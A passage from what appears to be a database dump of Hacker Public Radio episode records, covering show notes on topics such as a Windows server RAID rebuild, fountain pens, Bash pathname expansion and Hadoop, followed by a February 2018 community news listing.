don’t. I want this new server to be unkillable, may he reign for a thousand generations. So, I may have gone a little overboard with the RAID setup for one simple hypervisor, which is going to be backed up and replicated.</p>\r\n<p>That there is a 1TB RAID 1 with a hotspare and a 500ish GB RAID 5 with a hotspare. I never want to hear from this server again.</p>\r\n<p>OK, so we start the Windows server install and:</p>\r\n<p><em>THE SAME ERROR.</em></p>\r\n<p>No way. I have done this dozens of times, this is insane. I have used this exact same USB drive to do it! I can use it on an ancient spare laptop and go through the install perfectly fine. I have dug through pages of posts on forums and tried every last solution suggested except one. I find, on page 3 (!) of Google, someone say that it only failed for them when they used a USB 3.0 drive to install. I look at the end of my USB install media, see blue, then see red. NO. WAY.</p>\r\n<p>So I hunt around for a USB 2.0 drive. Takes me a few minutes, but we had one holding up the leg of a table. Rufus took a bit longer this time. When the drive was cooked, I gingerly placed it in the receptacle and crossed my fingers. If this didn’t work, then I was all out of ideas. No clue.</p>\r\n<p>It worked. I could not believe it. USB 3.0. Why, Windows, WHY?</p>\r\n<h3 id=\"playing-with-fire.\">Playing with Fire.</h3>\r\n<p>Creating a new domain is a pain in the ass. I considered a number of possibilities, but now that I had the re-install of this server figured out, I figured let’s go nuts and join the new hypervisor to the old domain depot.local. If you’ll remember from 6 years ago when I started telling you this story, the sole virtual server performed DCHP, DNS, and DC functions.</p>\r\n<p>I powered up the bad physical server. It complained, but complied. Started the virtual, no issue. Waited a few minutes, then joined the shiny new server to the domain depot.local. From there, with the DC up and running it was a simple matter of using the Hyper-V console to set up replication. After about an hour of pacing back and forth like I was awaiting the birth of my first child, the virtual made it and was failed over successfully.</p>\r\n<p>There were a few more issues to resolve, like the DNS server having the wrong IPs for just about everything even though they have been using statics for years, DHCP not responding on port 4011 for MDT for PXE Boot, DHCP being handed out by the virtual AND by the router on the same subnet (?!?!), and the DNS server refusing to connect over the HyperV vSwitch, but now at least I don’t have a knot in my stomach. I don’t know how this environment ever worked like this. What a mess to clean up.</p>\r\n<p>I ripped the bad half of the RAID 0 out of the server like a man possessed. I nailed it to the wall behind my desk. There is a sign under it that reads: “RAID 0 is not RAID. If you use RAID 0 on anything, I will throw this hard drive at your head. I have good aim. It will probably hit your mouth.”</p>\r\n',319,0,1,'CC-BY-SA','Windows, Servers, IT, MSP, Story',0,0,1),
(2273,'2017-04-19','Fountain Pens',1391,'In this episode, I cover some of the basics of Fountain Pens','<p>For a good basic rundown of the parts of a fountain pen, The Goulet Pen Company has a fairly decent page at: <a href=\"https://www.gouletpens.com/anatomy-of-a-fountain-pen\" class=\"uri\">https://www.gouletpens.com/anatomy-of-a-fountain-pen</a></p>\r\n<p>Fountain pens on Youtube:</p>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/user/TheInkNouveau\" class=\"uri\">https://www.youtube.com/user/TheInkNouveau</a></li>\r\n<li><a href=\"https://www.youtube.com/user/sbrebrown\" class=\"uri\">https://www.youtube.com/user/sbrebrown</a></li>\r\n<li><a href=\"https://www.youtube.com/user/PenHabit\" class=\"uri\">https://www.youtube.com/user/PenHabit</a></li>\r\n</ul>\r\n',325,112,1,'CC-BY-SA','fountain pen,nib,feed,barrel,section,cartridge,converter,piston fill',0,0,1),
(2277,'2017-04-25','Outernet and other projects',884,'In this episode, I take a look at some different attempts to spread free internet access.','<ul>\r\n<li><p>Outernet Links -</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Outernet\" class=\"uri\">https://en.wikipedia.org/wiki/Outernet</a></li>\r\n<li><a href=\"https://outernet.is/products/\" class=\"uri\">https://outernet.is/products/</a></li>\r\n<li><a href=\"https://gizmodo.com/what-is-the-outernet-and-is-it-the-future-of-the-intern-1659647614\" class=\"uri\">https://gizmodo.com/what-is-the-outernet-and-is-it-the-future-of-the-intern-1659647614</a></li>\r\n</ul></li>\r\n<li><p>Project Loon -</p>\r\n<ul>\r\n<li><a href=\"https://gizmodo.com/tag/project-loon\" class=\"uri\">https://gizmodo.com/tag/project-loon</a></li>\r\n</ul></li>\r\n<li><p>Facebook internet.org -</p>\r\n<ul>\r\n<li><a href=\"https://gizmodo.com/all-the-reasons-experts-are-so-pissed-about-facebook-s-1705526855\" class=\"uri\">https://gizmodo.com/all-the-reasons-experts-are-so-pissed-about-facebook-s-1705526855</a></li>\r\n<li><a href=\"https://gizmodo.com/a-week-after-india-banned-it-facebooks-free-basics-s-1750299423\" class=\"uri\">https://gizmodo.com/a-week-after-india-banned-it-facebooks-free-basics-s-1750299423</a></li>\r\n<li><a href=\"https://gizmodo.com/is-facebooks-free-internet-plan-totally-doomed-1786108756\" class=\"uri\">https://gizmodo.com/is-facebooks-free-internet-plan-totally-doomed-1786108756</a></li>\r\n</ul></li>\r\n</ul>\r\n',325,0,1,'CC-BY-SA','free internet,Outernet,Project Loon',0,0,1),
(2274,'2017-04-20','First Microsoft Surface Pro Ubuntu 16.04 Dual boot',556,'A short talk about converting a MS Surface pro from windows to unbuntu','<p>Hi. I purchased the first MS Pro on ebay after hearing of a like project on the Linux Action Show. I do a lot of traveling and I am always feeling bad about not having a something with open source on it.</p>\r\n<p>So one of the best for travel is the MS surface pro.</p>\r\n<p>In short it works great with Ubuntu.</p>',129,0,1,'CC-BY-SA','Microsoft Surface Pro,Ubuntu',0,0,1),
(2300,'2017-05-26','The first Intel CompuStick',655,'A talk about the original intel compute stick with ubuntu factory installed','<p>Well basically the stick out of the box was not very usable. I had to struggle with it for a long time to make it work for me doing even the most basic tasks. I went to <a href=\"https://linuxiumcomau.blogspot.com/\" class=\"uri\">https://linuxiumcomau.blogspot.com/</a> and things got better.</p>',129,0,1,'CC-BY-SA','Intel CompuStick,Ubuntu,UEFI',0,0,1),
(2327,'2017-07-04','A Texan\'s view on Why only a Native Born person can be President',426,'A quick talk about why America is special','<p>Based on my limited knowledge of our founding documents. I have read them a few times and had a few basic classes about our founding documents. So I am not lawyer or Professor just a normal person with a very normal education. I did see the starting documents at the national archive last sept 2016 and they are real and can be publicly read.</p>',129,0,1,'CC-BY-SA','President of the United States,eligibility',0,0,1),
(2347,'2017-08-01','An Intro to Apache Hadoop',2249,'Just a pretty boring summary of what Hadoop is and how it works.','<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Apache_Hadoop\" class=\"uri\">https://en.wikipedia.org/wiki/Apache_Hadoop</a><br />\r\nThe link above is primary info source.</li>\r\n<li><a href=\"https://hadoop.apache.org/\" class=\"uri\">https://hadoop.apache.org/</a><br />\r\nhas all the learning docs.</li>\r\n</ul>\r\n',129,0,1,'CC-BY-SA','Hadoop,big data,MapReduce,cluster,HDFS',0,0,1),
(2275,'2017-04-21','Penguicon 2017',1126,'A look at the lineup for the 2017 event.','<p>Penguicon 2017 is a combined technology and science fiction convention in Southfield, Michigan, a suburb of Detroit, and presents over 500 hours of programming over the entire weekend. Of this, around 100 hours are open source, tech-related. In this episode I give you a look at the lineup you can expect to see.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://2017.penguicon.org/\" class=\"uri\">https://2017.penguicon.org/</a></li>\r\n</ul>',198,96,0,'CC-BY-SA','Penguicon 2017',0,0,1),
(2370,'2017-09-01','Who is HortonWorks?',1139,'And what they do with Hadoop.','<p>Just a quick show about Hortonworks and what they do.</p>\r\n<p>They are the biggest contributor to the Apache Hadoop project.</p>\r\n<p><a href=\"https://hortonworks.com/\" class=\"uri\">https://hortonworks.com/</a></p>',129,0,0,'CC-BY-SA','Apache Hadoop, Hadoop',0,0,1),
(2278,'2017-04-26','Some supplementary Bash tips',2375,'Finishing off the subject of expansion in Bash (part 1)','<h2 id=\"some-supplementary-bash-tips\">Some supplementary Bash tips</h2>\r\n<h3 id=\"pathname-expansion-part-1-of-2\">Pathname expansion; part 1 of 2</h3>\r\n<h2 id=\"expansion\">Expansion</h2>\r\n<p>As we saw in the last episode <a href=\"https://hackerpublicradio.org/eps.php?id=2045\" title=\"Some other Bash tips\">2045</a> (and others in this sub-series) there are eight types of expansion applied to the command line in the following order:</p>\r\n<ul>\r\n<li>Brace expansion (we looked at this subject in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1884\" title=\"Some more Bash tips\">1884</a>)</li>\r\n<li>Tilde expansion (seen in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1903\" title=\"Some further Bash tips\">1903</a>)</li>\r\n<li>Parameter and variable expansion (this was covered in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1648\" title=\"Bash parameter manipulation\">1648</a>)</li>\r\n<li>Command substitution (seen in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1903\" title=\"Some further Bash tips\">1903</a>)</li>\r\n<li>Arithmetic expansion (seen in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1951\" title=\"Some additional Bash tips\">1951</a>)</li>\r\n<li>Process substitution (seen in episode <a href=\"https://hackerpublicradio.org/eps.php?id=2045\" title=\"Some other Bash tips\">2045</a>)</li>\r\n<li>Word splitting (seen in episode <a href=\"https://hackerpublicradio.org/eps.php?id=2045\" title=\"Some other Bash tips\">2045</a>)</li>\r\n<li>Pathname expansion (this episode and the next)</li>\r\n</ul>\r\n<p>This is the last topic in the (sub-) series about expansion in Bash. However, when writing the notes for this episode it became apparent that there was too much to fit into a single HPR episode. Consequently I have made it into two.</p>\r\n<p>In this episode we will look at simple pathname expansion and some of the ways in which its behaviour can be controlled. In the next episode we’ll finish by looking at extended pattern matching. Both are included in the “<a href=\"https://hackerpublicradio.org/eps/hpr2278/full_shownotes.html#manual-page-extracts\">Manual Page Extracts</a>” section at the end of the long notes.</p>\r\n<h2 id=\"long-show-notes\">Long Show Notes</h2>\r\n<p>I have written out a moderately long set of notes about this subject and these are available <a href=\"https://hackerpublicradio.org/eps/hpr2278/full_shownotes.html\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<!-- \\_ -->\r\n<ul>\r\n<li>Previous shows in this series\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">HPR episode 1648 “<em>Bash parameter manipulation</em>”</a> (2014-11-26)</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1843\">HPR episode 1843 “<em>Some Bash tips</em>”</a> (2015-08-26)</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1884\">HPR episode 1884 “<em>Some more Bash tips</em>”</a> (2015-10-22)</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1903\">HPR episode 1903 “<em>Some further Bash tips</em>”</a> (2015-11-18)</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1951\">HPR episode 1951 “<em>Some additional Bash tips</em>”</a> (2016-01-25)</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2045\">HPR episode 2045 “<em>Some other Bash tips</em>”</a> (2016-06-03)</li>\r\n</ol></li>\r\n</ul>\r\n<!-- - -->\r\n<ul>\r\n<li>Other HPR series referenced:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/series.php?id=90\">“<em>Learning sed</em>”</a> series on HPR</li>\r\n<li><a href=\"https://hackerpublicradio.org/series.php?id=94\">“<em>Learning Awk</em>”</a> series on HPR</li>\r\n</ul></li>\r\n</ul>\r\n<!-- - -->\r\n<ul>\r\n<li>Wikipedia article on <a href=\"https://en.wikipedia.org/wiki/Glob_%28programming%29\"><em>glob patterns</em></a></li>\r\n<li>Advanced Bash Scripting Guide: <a href=\"https://www.tldp.org/LDP/abs/html/globbingref.html\">“<em>Globbing</em>”</a></li>\r\n<li>Article on <a href=\"https://mywiki.wooledge.org/glob\"><em>Greg’s Wiki</em></a> entitled “<em>Globs</em>”</li>\r\n</ul>\r\n\r\n',225,42,1,'CC-BY-SA','Bash,expansion,pathname expansion,shopt',0,0,1),
(2283,'2017-05-03','Saving money shaving with double and single edge safety razors',1031,'Using double and single edge safety razors to save money','<ul>\r\n<li><a href=\"https://www.tedpella.com/dissect_html/blades.htm#stainless\">Single Edge, PTFE-Coated, Stainless Steel Blades</a></li>\r\n<li><a href=\"https://www.tedpella.com/dissect_html/blades.htm#stainless\">Injector Style Stainless Steel, PTFE-Coated Blades</a></li>\r\n<li><a href=\"https://www.amazon.com/Astra-Platinum-Double-Safety-Blades/dp/B001QY8QXM?th=1\">Astra SP blades</a></li>\r\n</ul>',77,0,0,'CC-BY-SA','shaving,razor,safety razor,razor blade',0,0,1),
(2284,'2017-05-04','Resurrecting a dead ethernet switch',893,'Replacing a failing capacitor in the power supply of an ethernet switch to make it work again.','<p>In this episode I simply let you participate with me replacing an electrolytic capacitor in the power supply of an Ethernet switch.</p>\r\n<p>The broken capacitor shows a bulge in its housing and was therefore easily identifiable. The supply voltage in the fault condition could be observed with an oscilloscope to completely collapse when load is turned on. Both facts are illustrated in the image below.</p>\r\n<p>Replacing the capacitor fixed the switch and brought it back in service.</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2284.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2284_small.jpg\" alt=\"Faulty capacitor\" /></a></p>',271,0,0,'CC-BY-SA','Ethernet switch, capacitor, power supply',0,0,1),
(2279,'2017-04-27','The first Intel CompuStick sound fix with LUbuntu',296,'A quick podcast about sound with LUbuntu','<p><a href=\"https://allaboutmynonexistedworld.wordpress.com/2014/06/03/lubuntu-hdmi-sound-output/\" class=\"uri\">https://allaboutmynonexistedworld.wordpress.com/2014/06/03/lubuntu-hdmi-sound-output/</a></p>\r\n',129,0,1,'CC-BY-SA','Intel CompuStick,Lubuntu,pulse audio',0,0,1),
(2285,'2017-05-05','The Tick Conspiracy',621,'A show that covers the ongoing war between ticks (may they rot in hell) and everything else.','<p>\r\n<strong>Reminder:</strong> This show is released in .ogg a non patent encumbered format.\r\n</p>\r\n<ul>\r\n<li><a href=\"https://www.cdc.gov/ticks/avoid/in_the_yard.html\">https://www.cdc.gov/ticks/avoid/in_the_yard.html</a>\r\n</li>\r\n<li><a href=\"https://www.cdc.gov/ticks/avoid/on_people.html\">https://www.cdc.gov/ticks/avoid/on_people.html</a>\r\n</li>\r\n<li><a href=\"https://animals.mom.me/animals-eat-deer-ticks-10003.html\">https://animals.mom.me/animals-eat-deer-ticks-10003.html</a>\r\n</li>\r\n<li><a href=\"https://www.caryinstitute.org/newsroom/opossums-killers-ticks\">https://www.caryinstitute.org/newsroom/opossums-killers-ticks</a>\r\n</li>\r\n<li><a href=\"https://www.usatoday.com/story/news/nation-now/2017/04/06/2017-may-very-bad-year-lyme-disease/100120496/\">https://www.usatoday.com/story/news/nation-now/2017/04/06/2017-may-very-bad-year-lyme-disease/100120496/</a>\r\n</li>\r\n</ul>',354,0,1,'CC-BY-SA','Ticks, Paranoia, Comedic, Informative?',0,0,1),
(2290,'2017-05-12','How to change the height of your Ironing board',168,'Amazing Life Hack that will change your life forever.','<p>Tired of having back ache after Ironing</p>\r\n<p>Check out this amazing episode to hear how you too can transform a dull chore into an enjoyable experience !!!!</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2290.jpg\">\r\n  <img src=\"https://hackerpublicradio.org/eps/hpr2290_small.jpg\" alt=\"Ironing board modification\"/>\r\n</a>\r\n</p>\r\n',30,0,1,'CC-BY-SA','Amazing Life Hack',0,0,1),
(2287,'2017-05-09','Desparately Seeking Saving RMS - Introduction',1830,'My attempt to start moving towards the RMS Model','<p>\r\nMy start towards the RMS ideal.\r\n</p>\r\n',151,0,1,'CC-BY-SA','free software, richard stallman, RMS',0,0,1),
(2501,'2018-03-05','HPR Community News for February 2018',2881,'HPR Volunteers talk about shows released and comments posted in February 2018','\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=361\" target=\"_blank\">Aaressaar</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=362\" target=\"_blank\">MPardo</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2479\" target=\"_blank\">2479</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-02-01</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2479\" target=\"_blank\">Intergraph workstation</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2480\" target=\"_blank\">2480</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-02-02</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2480\" target=\"_blank\">What\'s In My Podcatcher 1</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2481\" target=\"_blank\">2481</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-02-05</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2481\" target=\"_blank\">HPR Community News for January 2018</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2482\" target=\"_blank\">2482</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-02-06</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2482\" target=\"_blank\">lca2018: Katie McLaughlin</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2483\" target=\"_blank\">2483</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-02-07</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2483\" target=\"_blank\">Useful Bash functions - part 4</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2484\" target=\"_blank\">2484</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-02-08</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2484\" target=\"_blank\">The Big Idea</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2485\" target=\"_blank\">2485</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-02-09</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2485\" target=\"_blank\">The Alien Brothers Podcast - S01E05 - I Saw the Invisible Man</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=359\" target=\"_blank\">The Alien Brothers Podcast (ABP)</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2486\" target=\"_blank\">2486</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-02-12</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2486\" target=\"_blank\">Some stuff I bought at a recent amateur radio rally</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2487\" target=\"_blank\">2487</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-02-13</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2487\" target=\"_blank\">Simple LibreOffice Repo for Fedora</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=273\" target=\"_blank\">ToeJet</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2488\" target=\"_blank\">2488</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-02-14</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2488\" target=\"_blank\">Psychology of Love</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=361\" target=\"_blank\">Aaressaar</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2489\" target=\"_blank\">2489</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-02-15</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2489\" target=\"_blank\">CONTEXT IS EVERYTHING</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2490\" target=\"_blank\">2490</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-02-16</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2490\" target=\"_blank\">What\'s In My Podcatcher 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2491\" target=\"_blank\">2491</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-02-19</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2491\" target=\"_blank\">Some news with Finux</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=85\" target=\"_blank\">finux</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2492\" target=\"_blank\">2492</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-02-20</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2492\" target=\"_blank\">An Evening Subway Ride</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=362\" target=\"_blank\">MPardo</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2493\" target=\"_blank\">2493</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-02-21</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2493\" target=\"_blank\">YouTube Subscriptions - update</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2494\" target=\"_blank\">2494</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-02-22</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2494\" target=\"_blank\">linux.conf.au 2018: Nicolas Steenhout</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2495\" target=\"_blank\">2495</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-02-23</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2495\" target=\"_blank\">10 Years of Xoke</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=79\" target=\"_blank\">Xoke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2496\" target=\"_blank\">2496</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-02-26</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2496\" target=\"_blank\">Making a Raspberry Pi inventory</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2497\" target=\"_blank\">2497</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-02-27</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2497\" target=\"_blank\">HPR 2017 New Years Eve show part 1</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2498\" target=\"_blank\">2498</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-02-28</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2498\" target=\"_blank\">Life without Google</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=110\" target=\"_blank\">Quvmoh</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 19 comments in total.</p>\n<p>There are 6 comments on\n4 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2418#comments\" target=\"_blank\">hpr2418</a></strong>\n(2017-11-08) \"<em>What\'s in my ham shack, part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2418#2\" target=\"_blank\">Comment 2</a>:\nMrX on 2018-02-25:\n\"re great infos\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2465#comments\" target=\"_blank\">hpr2465</a></strong>\n(2018-01-12) \"<em>TronScript where have you been all my life!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2465#1\" target=\"_blank\">Comment 1</a>:\ntimttmy on 2018-02-03:\n\"Thanks\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2477#comments\" target=\"_blank\">hpr2477</a></strong>\n(2018-01-30) \"<em>Reading Audio Books While Distracted</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2477#2\" target=\"_blank\">Comment 2</a>:\ndodddummy on 2018-02-05:\n\"Chickens\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2477#3\" target=\"_blank\">Comment 3</a>:\nWindigo on 2018-02-19:\n\"Also distractable\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2478#comments\" target=\"_blank\">hpr2478</a></strong>\n(2018-01-31) \"<em>City Of Masks - HPR_AudioBookClub</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2478#1\" target=\"_blank\">Comment 1</a>:\nhammerron on 2018-02-04:\n\"a second Star Trek reference\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2478#2\" target=\"_blank\">Comment 2</a>:\nlostnbronx on 2018-02-05:\n\"Excellent Episode\"</li></ul><br/>\n</li></ul>\n<p>There are 13 comments on 7 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2482#comments\" target=\"_blank\">hpr2482</a></strong>\n(2018-02-06) \"<em>lca2018: Katie McLaughlin</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2482#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2018-02-05:\n\"How on earth did I do that? :(\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2482#2\" target=\"_blank\">Comment 2</a>:\nClinton Roy on 2018-02-17:\n\"Thank you to the admins\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2488#comments\" target=\"_blank\">hpr2488</a></strong>\n(2018-02-14) \"<em>Psychology of Love</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=361\" target=\"_blank\">Aaressaar</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2488#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2018-02-19:\n\"Welcome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2489#comments\" target=\"_blank\">hpr2489</a></strong>\n(2018-02-15) \"<em>CONTEXT IS EVERYTHING</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2489#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2018-02-15:\n\"Bin there done that. (Deliberate typo 